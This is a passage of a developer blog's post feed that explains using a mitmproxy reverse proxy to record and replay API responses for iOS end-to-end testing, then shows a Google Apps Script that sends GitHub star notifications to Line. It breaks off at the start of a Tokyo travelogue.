snapshotted into images for replay verification testing, can the API do the same? Can we save the API Request & Response and replay them for verification testing later?This introduces the main point of this article: establishing a “Snapshot API Local Mock Server” to record API Requests & Replay Responses, removing the dependency on API data. This article only provides a Proof of Concept (POC) and has not yet fully implemented high-coverage End-to-End Testing. Therefore, the approach is for reference only. I hope it provides new insights for everyone in the current environment.Snapshot API Local Mock ServerCore Concept — Record & Replay API Data[Record] — After completing the development of the End-to-End Testing Test Case, enable the recording parameter and execute the test once. During this process, all API Requests & Responses will be saved in the respective Test Case directories.[Replay] — When running the Test Case later, the corresponding recorded Response Data will be found from the Test Case directory according to the request to complete the testing process.IllustrationSuppose we want to test the purchase process. The user opens the App, clicks on the product card on the homepage to enter the product detail page, clicks the purchase button at the bottom, a login box pops up to complete the login, completes the purchase, and a purchase success prompt pops up:How UI Testing controls button clicks, input box inputs, etc., is not the main focus of this article; you can refer to existing testing frameworks for direct use.Regular Proxy or Reverse ProxyTo achieve Record & Replay API, a Proxy needs to be added between the App and the API to perform a man-in-the-middle attack. You can refer to my earlier article “The APP uses HTTPS transmission, but the data is still stolen.”In simple terms, there is an additional proxy transmitter between the App and the API, like passing notes. The requests and responses exchanged between both parties will go through it. It can open the content of the notes and can also forge the content of the notes for both parties without them noticing.Regular Proxy:A regular proxy is when the client sends a request to the proxy server, the proxy server forwards the request to the target server, and then returns the response from the target server to the client. In a regular proxy mode, the proxy server initiates the request on behalf of the client. The client needs to explicitly specify the address and port number of the proxy server and send the request to the proxy server.Reverse Proxy:A reverse proxy is the opposite of a regular proxy. It sits between the target server and the client. The client sends a request to the reverse proxy server, which forwards the request to the backend target server according to certain rules and returns the response from the target server to the client. For the client, the target server appears to be the reverse proxy server, and the client does not need to know the real address of the target server.For our needs, either regular or reverse proxy can achieve the goal. The only consideration is the method of proxy setup:Regular Proxy requires setting up a Proxy in the network settings on the computer, phone, or emulator: Android can directly set up a Proxy in the emulator. iOS Simulator shares the computer’s network environment and cannot individually set up a Proxy, requiring changes to the computer’s settings to set up a Proxy. All traffic on the computer will go through this Proxy, and if other network tools like Proxyman or Charles are also running, they might forcefully change the Proxy settings to their own, causing it to fail.Reverse Proxy requires changing the API Host in the Codebase and declaring all API Domains to be proxied: The API Host in the Codebase needs to be replaced with the Proxy Server IP during testing. When enabling Reverse Proxy, declare which Domains need to be proxied. Only declared Domains will go through the Proxy; undeclared ones will go directly out. For iOS App, the following example uses iOS & Reverse Proxy for POC. The same can be applied to Android.Letting the iOS App Know It’s Running End-to-End TestingWe need to let the App know it’s running End-to-End Testing to add the API Host replacement logic in the App program:// UI Testing Target:let app = XCUIApplication()app.launchArguments = [\"duringE2ETesting\"]app.launch()We make the judgment and replacement in the Network layer. This is an unavoidable adjustment. Try to avoid changing the App’s Code just for testing.Using MITMProxy to Implement Reverse Proxy Server You can also use Swift to develop a Swift Server to achieve this. This article uses the MITMProxy tool for POC.[2023–09–04 Update] Mitmproxy-rodo is Now Open SourceThe implementation content below has been open-sourced to the mitmproxy-rodo project. Feel free to refer to and use it directly.Some structures and content of this article have been adjusted, and the following adjustments were made when open-sourced: Changed the storage directory structure to host / requestPath / method / hash Fixed Header information storage, should be Bytes Data instead of pure JSON String Corrected some errors Added automatic extension of Set-Cookie expiration functionality ⚠️ The following script is for Demo reference only, subsequent script adjustments will be moved to the open-source project maintenance.MITMProxyFollow the MITMProxy official website to complete the installation:brew install mitmproxyFor detailed usage of MITMProxy, you can refer to my earlier article “The APP uses HTTPS transmission, but the data is still stolen.” mitmproxy provides an interactive command-line interface. mitmweb provides a browser-based graphical user interface. mitmdump provides non-interactive terminal output.Implementing Record & ReplaySince MITMProxy Reverse Proxy does not natively have the functionality to Record (or dump) requests & Mapping Request Replay, we need to write scripts to achieve this functionality.mock.py :\"\"\"Example: Record: mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json Replay: mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json\"\"\"import reimport loggingimport mimetypesimport osimport jsonimport hashlibfrom pathlib import Pathfrom mitmproxy import ctxfrom mitmproxy import httpclass MockServerHandler: def load(self, loader): self.readHistory = {} self.configuration = {} loader.add_option( name=\"dumper_folder\", typespec=str, default=\"dump\", help=\"Response Dump directory, can be created by Test Case Name\", ) loader.add_option( name=\"network_restricted\", typespec=bool, default=True, help=\"No Mapping data locally... setting true will return 404, false will make a real request to get data.\", ) loader.add_option( name=\"record\", typespec=bool, default=False, help=\"Set true to record Request's Response\", ) loader.add_option( name=\"config_file\", typespec=str, default=\"\", help=\"Set file path, example file below\", ) def configure(self, updated): self.loadConfig() def loadConfig(self): configFile = Path(ctx.options.config_file) if ctx.options.config_file == \"\" or not configFile.exists(): return self.configuration = json.loads(open(configFile, \"r\").read()) def hash(self, request): query = request.query requestPath = \"-\".join(request.path_components) ignoredQueryParameterByPaths = self.configuration.get(\"ignored\", {}).get(\"paths\", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get(\"queryParamters\", []) ignoredQueryParameterGlobal = self.configuration.get(\"ignored\", {}).get(\"global\", {}).get(\"queryParamters\", []) filteredQuery = [] if query: filteredQuery = [(key, value) for key, value in query.items() if key not in ignoredQueryParameterByPaths + ignoredQueryParameterGlobal] formData = [] if request.get_content() != None and request.get_content() != b'': formData = json.loads(request.get_content()) # or just formData = request.urlencoded_form # or just formData = request.multipart_form # depends on your api design ignoredFormDataParametersByPaths = self.configuration.get(\"ignored\", {}).get(\"paths\", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get(\"formDataParameters\", []) ignoredFormDataParametersGlobal = self.configuration.get(\"ignored\", {}).get(\"global\", {}).get(\"formDataParameters\", []) filteredFormData = [] if formData: filteredFormData = [(key, value) for key, value in formData.items() if key not in ignoredFormDataParametersByPaths + ignoredFormDataParametersGlobal] # Serialize the dictionary to a JSON string hashData = {\"query\":sorted(filteredQuery), \"form\": sorted(filteredFormData)} json_str = json.dumps(hashData, sort_keys=True) # Apply SHA-256 hash function hash_object = hashlib.sha256(json_str.encode()) hash_string = hash_object.hexdigest() return hash_string def readFromFile(self, request): host = request.host method = request.method hash = self.hash(request) requestPath = \"-\".join(request.path_components) folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash if not folder.exists(): return None content_type = request.headers.get(\"content-type\", \"\").split(\";\")[0] ext = mimetypes.guess_extension(content_type) or \".json\" count = self.readHistory.get(host, {}).get(method, {}).get(requestPath, {}) or 0 filepath = folder / f\"Content-{str(count)}{ext}\" while not filepath.exists() and count > 0: count = count - 1 filepath = folder / f\"Content-{str(count)}{ext}\" if self.readHistory.get(host) is None: self.readHistory[host] = {} if self.readHistory.get(host).get(method) is None: self.readHistory[host][method] = {} if self.readHistory.get(host).get(method).get(requestPath) is None: self.readHistory[host][method][requestPath] = {} if filepath.exists(): headerFilePath = folder / f\"Header-{str(count)}.json\" if not headerFilePath.exists(): headerFilePath = None count += 1 self.readHistory[host][method][requestPath] = count return {\"content\": filepath, \"header\": headerFilePath} else: return None def saveToFile(self, request, response): host = request.host method = request.method hash = self.hash(request) requestPath = \"-\".join(request.path_components) iterable = self.configuration.get(\"ignored\", {}).get(\"paths\", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get(\"iterable\", False) folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash # create dir if not exists if not folder.exists(): os.makedirs(folder) content_type = response.headers.get(\"content-type\", \"\").split(\";\")[0] ext = mimetypes.guess_extension(content_type) or \".json\" repeatNumber = 0 filepath = folder / f\"Content-{str(repeatNumber)}{ext}\" while filepath.exists() and iterable == False: repeatNumber += 1 filepath = folder / f\"Content-{str(repeatNumber)}{ext}\" # dump to file with open(filepath, \"wb\") as f: f.write(response.content or b'') headerFilepath = folder / f\"Header-{str(repeatNumber)}.json\" with open(headerFilepath, \"wb\") as f: responseDict = dict(response.headers.items()) responseDict['_status_code'] = response.status_code f.write(json.dumps(responseDict).encode('utf-8')) return {\"content\": filepath, \"header\": headerFilepath} def request(self, flow): if ctx.options.record != True: host = flow.request.host path = flow.request.path result = self.readFromFile(flow.request) if result is not None: content = b'' headers = {} statusCode = 200 if result.get('content') is not None: content = open(result['content'], \"r\").read() if result.get('header') is not None: headers = json.loads(open(result['header'], \"r\").read()) statusCode = headers['_status_code'] del headers['_status_code'] headers['_responseFromMitmproxy'] = '1' flow.response = http.Response.make(statusCode, content, headers) logging.info(\"Fullfill response from local with \"+str(result['content'])) return if ctx.options.network_restricted == True: flow.response = http.Response.make(404, b'', {'_responseFromMitmproxy': '1'}) def response(self, flow): if ctx.options.record == True and flow.response.headers.get('_responseFromMitmproxy') != '1': result = self.saveToFile(flow.request, flow.response) logging.info(\"Save response to local with \"+str(result['content']))addons = [MockServerHandler()]You can refer to the official documentation and adjust the script content as needed.The design logic of this script is as follows: File path logic: dumper_folder(a.k.a Test Case Name) / Reverse's api host / HTTP Method / Path join with - (e.g. app/launch -> app-launch) / Hash(Get Query & Post Content) / File logic: Response content: Content-0.xxx, Content-1.xxx (the second request of the same request) … and so on; Response Header information: Header-0.json (same Content-x logic) When saving, it will be saved sequentially according to the path and file logic; during Replay, it will be retrieved in the same order. If the number of times does not match, for example, the same path is hit 3 times during Replay, but the Record only saves data up to the 2nd time; it will still respond with the 2nd time, which is the last result. When record is True, it will hit the target Server to get the response and save it according to the above logic; when False, it will only read data locally (equivalent to Replay Mode). When network_restricted is False, if there is no Mapping data locally, it will directly respond with 404; when True, it will hit the target Server to get the data. _responseFromMitmproxy is used to inform the Response Method that the current response is from Local and can be ignored, _status_code borrows the Header.json field to store the HTTP Response status code.config_file.json configuration file logic design is as follows:{ \"ignored\": { \"paths\": { \"yourapihost.com\": { \"add-to-cart\": { \"POST\": { \"queryParamters\": [ \"created_timestamp\" ], \"formDataParameters\": [] } }, \"api-status-checker\": { \"GET\": { \"iterable\": true } } } }, \"global\": { \"queryParamters\": [ \"timestamp\" ], \"formDataParameters\": [] } }}queryParamters & formDataParameters:Because some API parameters may change with each call, for example, some Endpoints will carry time parameters, at this time according to the Server’s design, the Hash(Query Parameter & Body Content) value will be different during Replay Request, resulting in no Mapping to Local Response. Therefore, an additional config.json is used to handle this situation. You can set certain parameters to be excluded from the Hash by Endpoint Path or Global, so you can get the same Mapping result.iterable :Because some polling check APIs may be called repeatedly at regular intervals, according to the Server’s design, many Content-x.xxx & Header-x.json files will be generated; but if we don’t care, we can set it to True, and the Response will continue to be saved and overwritten to the first file Content-0.xxx & Header-0.json.Enable Reverse Proxy Record Mode:mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.jsonEnable Reverse Proxy Replay Mode:mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.jsonAssembly & Proof Of Concept0. Complete the Host replacement in the CodebaseAnd ensure that during testing, the API is switched to http://127.0.0.1:80801. Start Snapshot API Local Mock Server (a.k.a Reverse Proxy Server) Record Modemitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=addCart --set config_file=config.json2. Perform E2E Testing UI OperationsUsing the Pinkoi iOS App as an example, test the following flow: Launch App -> Home -> Scroll Down -> Similar to Wish List Items Section -> First Product -> Click First Product -> Enter Product Page -> Click Add to Cart -> UI Response Added to Cart -> Test Successful ✅The method of UI automation operation was mentioned earlier, here we manually test the same flow to verify the results.3. Obtain Record ResultsAfter the operation is completed, you can press ^ + C to terminate the Snapshot API Mock Server and check the recording results in the file directory:4. Replay to verify the same flow, start the Server & Using Replay Modemitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=addCart --set config_file=config.json5. Perform the same UI operation again to verify the results Left: Test Successful ✅ Right: Testing clicking on products other than the recorded ones will result in an Error (because there is no data locally + network_restricted is set to False by default, so it will directly return 404 without fetching data from the network)6. Proof Of Concept ✅The proof of concept is successful. We can indeed use the Reverse Proxy Server to store API Requests & Responses and use it as a Mock API Server to respond with data to the App during testing 🎉🎉🎉.[2023-09-04] mitmproxy-rodo is now open sourceFollow-up and MiscellaneousThis article only discusses the proof of concept. There are still many areas to be improved and more features to be implemented. Integration with maestro UI Testing tool CI/CD process integration design (How to automatically start the Reverse Proxy? Where to start it?) How to package MITMProxy into development tools? Verify more complex testing scenarios Verify the sent Tracking Requests, need to implement storing Request Body, then extract which Tracking Event Data was sent, and whether it matches the events that should be sent in the flowCookie Issues#... def response(self, flow): setCookies = flow.response.headers.get_all(\"set-cookie\") # setCookies = ['ad=0; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/', 'sessionid=xxxx; Secure; HttpOnly; Domain=.xxx.com; expires=Wed, 23 Aug 2023 04:59:07 GMT; Max-Age=1800; Path=/'] # OR Replace Cookie Domain From .xxx.com To 127.0.0.1 setCookies = [re.sub(r\"\\s*\\.xxx\\.com\\s*\", \"127.0.0.1\", s) for s in setCookies] # AND Remove Security-Related Restrictions setCookies = [re.sub(r\";\\s*Secure\\s*\", \"\", s) for s in setCookies] setCookies = [re.sub(r\";\\s*HttpOnly;\\s*\", \"\", s) for s in setCookies] flow.response.headers.set_all(\"Set-Cookie\", setCookies) #...If you encounter issues with Cookies, such as the API responding with a Cookie but the App not receiving it, you can refer to the adjustments above.The Last Post on PinkoiDuring my 900+ days at Pinkoi, I realized many of my career aspirations and imaginations regarding iOS/App development and processes. I am grateful to all my teammates for walking through the pandemic and weathering the storms together; the courage to say goodbye is akin to the courage to pursue dreams and join the company initially. I am embarking on a new life challenge (including but not limited to engineering). If you have suitable opportunities (iOS or engineering management or startup products), please feel free to contact me. 🙏🙏🙏If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps", "url": "/posts/382218e15697/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, google-app-script, github, notifications, stars", "date": "2023-08-01 22:32:14 +0800", "snippet": "Using Google Apps Script to Create a Free Github Repo Star Notifier in Three StepsWriting GAS to connect Github Webhook and forward star notifications to LineIntroductionAs a maintainer of open-sou...", "content": "Using Google Apps Script to Create a Free Github Repo Star Notifier in Three StepsWriting GAS to connect Github Webhook and forward star notifications to LineIntroductionAs a maintainer of open-source projects, it’s not for money or fame, but for a sense of vanity; every time I see a new ⭐️ star, I feel a secret joy in my heart. It means that the project I spent time and effort on is really being used and is helpful to friends with the same problems.Star History ChartTherefore, I have a bit of an obsession with observing ⭐️ stars, frequently refreshing Github to see if the number of ⭐️ stars has increased. I wondered if there was a more proactive way to get notifications when someone stars the repo, without having to manually check.Existing ToolsFirst, I considered looking for existing tools to achieve this. I searched Github Marketplace and found some tools created by experts.I tried a few of them, but the results were not as expected. Some were no longer working, some only sent notifications every 5/10/20 stars (I’m just a small developer, even 1 new ⭐️ makes me happy 😝), and some only sent email notifications, but I wanted SNS notifications.Moreover, installing an app just for “vanity” didn’t feel right, and I was concerned about potential security risks.The Github App on iOS or third-party apps like GitTrends also do not support this feature.Creating Your Own Github Repo Star NotifierBased on the above, we can actually use Google Apps Script to quickly and freely create our own Github Repo Star Notifier.PreparationThis article uses Line as the notification medium. If you want to use other messaging apps, you can ask ChatGPT how to implement it.Ask ChatGPT how to implement Line NotifylineToken: Go to Line Notify After logging into your Line account, scroll to the bottom to find the “Generate access token (For developers)” section Click “Generate token” Token Name: Enter the title name you want for the bot, which will be displayed before the message (e.g. Github Repo Notifier: XXXX) Choose where the message will be sent: I chose 1-on-1 chat with LINE Notify to send messages to myself via the LINE Notify official bot. Click “Generate token” Select “Copy” And note down the Token, if you forget it later, you will need to regenerate it, it cannot be viewed again.githubWebhookSecret: Go to Random.org to generate a random string Copy & note down this random stringWe will use this string as a request verification medium between Github Webhook and Google Apps Script. Due to GAS limitations, it is not possible to obtain Headers content in doPost(e), so the standard Github Webhook verification method cannot be used, and string matching verification can only be done manually with ?secret= Query.Create Google Apps ScriptGo to Google Apps Script, click the top left corner “+ New Project”.Google Apps ScriptClick the top left “Untitled project” to rename the project.Here I named the project My-Github-Repo-Notifier for easy identification in the future.Code input area:// Constant variablesconst lineToken = 'XXXX';// Generate yours line notify bot token: https://notify-bot.line.me/my/const githubWebhookSecret = \"XXXXX\";// Generate yours secret string here: https://www.random.org/strings/?num=1&len=32&digits=on&upperalpha=on&loweralpha=on&unique=on&format=html&rnd=new// HTTP Get/Post Handler// Do not open Get methodfunction doGet(e) { return HtmlService.createHtmlOutput(\"Access Denied!\");}// Github Webhook will use Post method to come infunction doPost(e) { const content = JSON.parse(e.postData.contents); // Security check to ensure the request is from Github Webhook if (verifyGitHubWebhook(e) == false) { return HtmlService.createHtmlOutput(\"Access Denied!\"); } // star payload data content[\"action\"] == \"started\" if(content[\"action\"] != \"started\") { return HtmlService.createHtmlOutput(\"OK!\"); } // Combine message const message = makeMessageString(content); // Send message, can also be sent to Slack, Telegram... sendLineNotifyMessage(message); return HtmlService.createHtmlOutput(\"OK!\");}// Method// Generate message contentfunction makeMessageString(content) { const repository = content[\"repository\"]; const repositoryName = repository[\"name\"]; const repositoryURL = repository[\"svn_url\"]; const starsCount = repository[\"stargazers_count\"]; const forksCount = repository[\"forks_count\"]; const starrer = content[\"sender\"][\"login\"]; var message = \"🎉🎉「\"+starrer+\"」starred your「\"+repositoryName+\"」Repo 🎉🎉\\n\"; message += \"Current total stars: \"+starsCount+\"\\n\"; message += \"Current total forks: \"+forksCount+\"\\n\"; message += repositoryURL; return message;}// Verify if the request is from Github Webhook// Due to GAS limitations (https://issuetracker.google.com/issues/67764685?pli=1)// Cannot obtain Headers content// Therefore, the standard Github Webhook verification method (https://docs.github.com/en/webhooks-and-events/webhooks/securing-your-webhooks)// Can only be manually matched with ?secret=XXXfunction verifyGitHubWebhook(e) { if (e.parameter[\"secret\"] === githubWebhookSecret) { return true } else { return false }}// -- Send Message --// Line// Other message sending methods can ask ChatGPTfunction sendLineNotifyMessage(message) { var url = 'https://notify-api.line.me/api/notify'; var options = { method: 'post', headers: { 'Authorization': 'Bearer '+lineToken }, payload: { 'message': message } }; UrlFetchApp.fetch(url, options);}lineToken & githubWebhookSecret carry the values copied from the previous step.Additional Github Webhook data when someone presses Star is as follows:{ \"action\": \"created\", \"starred_at\": \"2023-08-01T03:42:26Z\", \"repository\": { \"id\": 602927147, \"node_id\": \"R_kgDOI-_wKw\", \"name\": \"ZMarkupParser\", \"full_name\": \"ZhgChgLi/ZMarkupParser\", \"private\": false, \"owner\": { \"login\": \"ZhgChgLi\", \"id\": 83232222, \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/83232222?v=4\", \"gravatar_id\": \"\", \"url\": \"https://api.github.com/users/ZhgChgLi\", \"html_url\": \"https://github.com/ZhgChgLi\", \"followers_url\": \"https://api.github.com/users/ZhgChgLi/followers\", \"following_url\": \"https://api.github.com/users/ZhgChgLi/following{/other_user}\", \"gists_url\": \"https://api.github.com/users/ZhgChgLi/gists{/gist_id}\", \"starred_url\": \"https://api.github.com/users/ZhgChgLi/starred{/owner}{/repo}\", \"subscriptions_url\": \"https://api.github.com/users/ZhgChgLi/subscriptions\", \"organizations_url\": \"https://api.github.com/users/ZhgChgLi/orgs\", \"repos_url\": \"https://api.github.com/users/ZhgChgLi/repos\", \"events_url\": \"https://api.github.com/users/ZhgChgLi/events{/privacy}\", \"received_events_url\": \"https://api.github.com/users/ZhgChgLi/received_events\", \"type\": \"Organization\", \"site_admin\": false }, \"html_url\": \"https://github.com/ZhgChgLi/ZMarkupParser\", \"description\": \"ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.\", \"fork\": false, \"url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser\", \"forks_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/forks\", \"keys_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/keys{/key_id}\", \"collaborators_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/collaborators{/collaborator}\", \"teams_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/teams\", \"hooks_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/hooks\", \"issue_events_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/events{/number}\", \"events_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/events\", \"assignees_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/assignees{/user}\", \"branches_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/branches{/branch}\", \"tags_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/tags\", \"blobs_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/blobs{/sha}\", \"git_tags_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/tags{/sha}\", \"git_refs_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/refs{/sha}\", \"trees_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/trees{/sha}\", \"statuses_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/statuses/{sha}\", \"languages_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/languages\", \"stargazers_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/stargazers\", \"contributors_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contributors\", \"subscribers_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscribers\", \"subscription_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscription\", \"commits_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/commits{/sha}\", \"git_commits_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/commits{/sha}\", \"comments_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/comments{/number}\", \"issue_comment_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/comments{/number}\", \"contents_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contents/{+path}\", \"compare_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/compare/{base}...{head}\", \"merges_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/merges\", \"archive_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/{archive_format}{/ref}\", \"downloads_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/downloads\", \"issues_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues{/number}\", \"pulls_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/pulls{/number}\", \"milestones_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/milestones{/number}\", \"notifications_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/notifications{?since,all,participating}\", \"labels_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/labels{/name}\", \"releases_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/releases{/id}\", \"deployments_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/deployments\", \"created_at\": \"2023-02-17T08:41:37Z\", \"updated_at\": \"2023-08-01T03:42:27Z\", \"pushed_at\": \"2023-08-01T00:07:41Z\", \"git_url\": \"git://github.com/ZhgChgLi/ZMarkupParser.git\", \"ssh_url\": \"git@github.com:ZhgChgLi/ZMarkupParser.git\", \"clone_url\": \"https://github.com/ZhgChgLi/ZMarkupParser.git\", \"svn_url\": \"https://github.com/ZhgChgLi/ZMarkupParser\", \"homepage\": \"https://zhgchg.li\", \"size\": 27449, \"stargazers_count\": 187, \"watchers_count\": 187, \"language\": \"Swift\", \"has_issues\": true, \"has_projects\": true, \"has_downloads\": true, \"has_wiki\": true, \"has_pages\": false, \"has_discussions\": false, \"forks_count\": 10, \"mirror_url\": null, \"archived\": false, \"disabled\": false, \"open_issues_count\": 2, \"license\": { \"key\": \"mit\", \"name\": \"MIT License\", \"spdx_id\": \"MIT\", \"url\": \"https://api.github.com/licenses/mit\", \"node_id\": \"MDc6TGljZW5zZTEz\" }, \"allow_forking\": true, \"is_template\": false, \"web_commit_signoff_required\": false, \"topics\": [ \"cocoapods\", \"html\", \"html-converter\", \"html-parser\", \"html-renderer\", \"ios\", \"nsattributedstring\", \"swift\", \"swift-package\", \"textfield\", \"uikit\", \"uilabel\", \"uitextview\" ], \"visibility\": \"public\", \"forks\": 10, \"open_issues\": 2, \"watchers\": 187, \"default_branch\": \"main\" }, \"organization\": { \"login\": \"ZhgChgLi\", \"id\": 83232222, \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy\", \"url\": \"https://api.github.com/orgs/ZhgChgLi\", \"repos_url\": \"https://api.github.com/orgs/ZhgChgLi/repos\", \"events_url\": \"https://api.github.com/orgs/ZhgChgLi/events\", \"hooks_url\": \"https://api.github.com/orgs/ZhgChgLi/hooks\", \"issues_url\": \"https://api.github.com/orgs/ZhgChgLi/issues\", \"members_url\": \"https://api.github.com/orgs/ZhgChgLi/members{/member}\", \"public_members_url\": \"https://api.github.com/orgs/ZhgChgLi/public_members{/member}\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/83232222?v=4\", \"description\": \"Building a Better World Together.\" }, \"sender\": { \"login\": \"zhgtest\", \"id\": 4601621, \"node_id\": \"MDQ6VXNlcjQ2MDE2MjE=\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/4601621?v=4\", \"gravatar_id\": \"\", \"url\": \"https://api.github.com/users/zhgtest\", \"html_url\": \"https://github.com/zhgtest\", \"followers_url\": \"https://api.github.com/users/zhgtest/followers\", \"following_url\": \"https://api.github.com/users/zhgtest/following{/other_user}\", \"gists_url\": \"https://api.github.com/users/zhgtest/gists{/gist_id}\", \"starred_url\": \"https://api.github.com/users/zhgtest/starred{/owner}{/repo}\", \"subscriptions_url\": \"https://api.github.com/users/zhgtest/subscriptions\", \"organizations_url\": \"https://api.github.com/users/zhgtest/orgs\", \"repos_url\": \"https://api.github.com/users/zhgtest/repos\", \"events_url\": \"https://api.github.com/users/zhgtest/events{/privacy}\", \"received_events_url\": \"https://api.github.com/users/zhgtest/received_events\", \"type\": \"User\", \"site_admin\": false }}DeploymentAfter completing the program writing, click “Deploy” in the upper right corner -> “New deployment”:On the left side, select the type “Web App”: Add description: Enter anything, I entered “ Release “ Who has access: Please change to “ Anyone “ Click “Deploy”For the first deployment, you need to click “Grant access”:After the account selection pop-up appears, select your current Gmail account:The “Google hasn’t verified this app” message appears because the app we are developing is for personal use and does not need Google verification.Simply click “Advanced” -> “Go to XXX (unsafe)” -> “Allow”:After deployment, you can get the Request URL in the “Web App” section of the result page. Click “Copy” and note down this GAS URL.⚠️️️ Side note, please note that if the code is modified, you need to update the deployment for it to take effect ⚠️To make the modified code take effect, similarly click “Deploy” in the upper right corner -> select “Manage deployments” -> select the “✏️” in the upper right corner -> version selection “Create new version” -> click “Deploy”.This completes the code update deployment.Github Webhook Settings Go back to Github We can set Webhooks for Organizations (all Repos inside) or a single Repo to listen for new ⭐️ starsEnter Organizations / Repo -> “Settings” -> find “Webhooks” on the left -> “Add webhook”: Payload URL : Enter GAS URL and manually add our own security verification string ?secret=githubWebhookSecret at the end of the URL.For example, if your GAS URL is https://script.google.com/macros/s/XXX/exec and githubWebhookSecret is 123456; then the URL is: https://script.google.com/macros/s/XXX/exec?secret=123456. Content type: Select application/json Which events would you like to trigger this webhook? Select “Let me select individual events.” ⚠️️ Uncheck “Pushes” ️️️️⚠️ Check “Watches”, please note it is not “Stars” (but Stars also monitor the status of clicking stars, if using Stars GAS action judgment also needs adjustment ) Select “Active” Click “Add webhook” Complete the settings🚀 TestGo back to the set Organizations Repo / Repo and click “Star” or un-star and then re-“Star”:You will receive a push notification!Done! 🎉🎉🎉🎉PromotionIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 2023 Tokyo 5-Day Free and Easy Trip", "url": "/posts/9da2c51fa4f2/", "categories": "Travelogue", "tags": "Life, japan, tokyo, tokyo-disneysea, traveling", "date": "2023-07-10 00:00:37 +0800", "snippet": "[Travelogue] 2023 Tokyo 5-Day Free and Easy TripRecord and travel information for a 5-day free and easy trip to Tokyo in June 2023, following the Kansai region trip last month.2023/05 Kansai Region...", "content": "[Travelogue] 2023 Tokyo 5-Day Free and Easy TripRecord and travel information for a 5-day free and easy trip to Tokyo in June 2023, following the Kansai region trip last month.2023/05 Kansai Region 8-Day Free and Easy TripFollowing the previous post “Travelogue] 2023 Kansai Region & 🇯🇵 First Landing”, I quickly returned to Japan a week later.You may wonder why not stay in Japan and take the Shinkansen from Osaka to Tokyo directly? The reason is that the Tokyo trip was actually the originally planned overseas trip, while the Kansai region trip was just an impromptu decision.Plus, I didn’t want to change flight tickets, accommodations, and have to Work From Japan for a week (I believe in pure enjoyment when traveling), so I returned to Taiwan after the Kansai region trip.Looking back, it was a good decision to return; because during the week I returned to Taiwan, Japan was hit by a super typhoon, causing flooding, Shinkansen suspension, and overcrowded train stations; if I had been in Japan that week, there wouldn’t have been many places to go. (Finally, not the rain god anymore!)Tokyo Trip Group - Three Single MenMyself, current colleague (Sean), and former colleague (James Lin); where Sean and James are university classmates. (Yes, the industry is that small XD) For information on entering Japan and other insights, please refer to the previous post.KKday Promotion One-stop purchase for Tokyo area transportation, experiences, and tickets: “Disneyland tickets, SHIBUYA SKY observation deck e-tickets, Tokyo-Narita Airport Keisei Railway tickets, Tokyo subway day pass, Tokyo Skytree tickets, 